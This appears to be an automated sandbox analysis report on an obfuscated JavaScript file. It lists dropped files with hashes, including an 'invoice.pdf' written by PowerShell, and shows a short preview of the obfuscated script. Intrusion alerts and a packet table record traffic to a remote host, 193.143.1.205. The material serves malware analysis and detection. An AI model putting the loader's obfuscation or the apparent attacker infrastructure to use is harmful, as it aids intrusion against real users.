Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408059525927771
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRVMAOA/A3A1AxAxS:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRE
MD5:	63D79A4A9092F16A639C022ABD6347C8
SHA1:	971CC23EE1059A9334A46E00A3042D9729615EC4
SHA-256:	5C582963B856DA1DBB6925EE1AFAF74F75B0614506CA3C804C784F78934C020B
SHA-512:	150B163784FC230A3CAE502CE93FF921A27FF10B207A31E8D5CBEDC4AA64E311FD8BE45A1E9D151179BC6C5BCDC38FC2BCDB53F11ED3208CD4F573272BC1C04E
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\24f48b1c-6b65-4baf-96c1-d25c04dd4324.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\604228f0-ffdc-47ce-a84b-6314c35cdaac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bdacebaa-08c8-405a-830e-39e2409c7d3d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c76a4579-5ab3-40f8-a18b-c0045f23a446.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19044), with CRLF line terminators
Entropy (8bit):	4.8999120008859
TrID:
File name:	1667730710460316051.js
File size:	22'457 bytes
MD5:	6128865333e0eb265d56b6fc5c75bcca
SHA1:	a83388db02ab2c01d48dc5d880cf05e83eff33c7
SHA256:	04045f08445c7bfa5d6cdd831de46d5e1add1c514ee8076b74fa24f6d1ae5a3d
SHA512:	99fe6719b10596821c5cdf5e1a906a036ae85297652689cd3a2c3d06617674a708dcfedacd934934e588cd4ce2dc4240f46e68b206099708ce07420147137485
SSDEEP:	384:fdo7/3cax/Jtuxndzgq2617WqCVfd8HrOSxbKYZ91+IqOnF9R7gWokphLR6mrMNj:f67/3aDF9RsWout1rOwdep
TLSH:	25A264A6C581D5AB8FFB3CF031A111DB6ECC20868BD842DB6C4659967F199B061F32F1
File Content Preview:	function wzubxv(){iedfp=[1031,3079,5127,4103,2055,3072];var itqdixz=this[qfbbnxbo+xejzza+inbrteb+xhynsktxk+herqcnx+xjumatuuy+sjtgd+wlgqtx](this[uraqztns+hzgsbpj+ougbbbfi+inbrteb+vsygoywc+qfbbnxbo+wlgqtx][bhwgqlqqi+inbrteb+herqcnx+xejzza+wlgqtx+herqcnx+pjs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:35:40.548376+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T22:35:43.097640+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:35:39.711767912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:39.716593027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:39.716661930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:39.721765995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:39.726675034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548293114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548315048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548338890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548376083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.548418999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548430920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548444986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548453093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.548477888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.548825026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548875093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548887014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548913002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.548949003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.548985004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.553211927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.553270102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.553318977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.615947008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.615979910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.616158009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.672373056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672422886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672434092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672462940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672473907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672487974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672528028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.672535896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.672586918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.673214912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.673226118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.673238039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.673263073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.673276901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.673290014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.673304081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.673326015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.674470901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674495935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674508095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674520016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674534082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674549103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.674570084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.674742937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674753904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674766064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674787998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.674810886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.674848080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674860001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.674890995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.749177933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.749198914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.749248981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.778717995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.778737068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.778749943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.778836012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.793827057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.793867111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.793878078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.793889999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.793904066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.793915033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.793978930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794003010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.794035912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794037104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.794048071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794090033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794090986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.794374943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794406891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794421911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794528961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.794528961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.794545889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794558048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794569969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.794605017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.795124054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795137882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795152903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795169115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.795187950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.795241117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795252085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795270920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795278072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.795285940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.795331955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.795371056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796021938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796046019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796067953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.796068907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796103001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.796123028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796236992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796248913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796260118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796272039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.796274900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.796303034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.796992064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.797033072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.805041075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.805082083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.805139065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.839703083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.839751005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.839762926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.839813948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.869213104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.869263887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.869277954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.869304895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.869342089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.884829044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.884849072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.884865046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.884934902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.884946108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.884958982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.884984016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.900491953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.900571108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.900604963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.900618076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.900676966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.900778055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.900791883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.900829077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.915795088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915816069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915841103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915853977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915868998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915882111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915896893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915905952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.915905952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.915911913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915939093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.915939093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915951014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.915954113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915966034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915977955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.915987968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.915992022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916006088 CET	80	49699	193.143.1.205	192.168.2.7
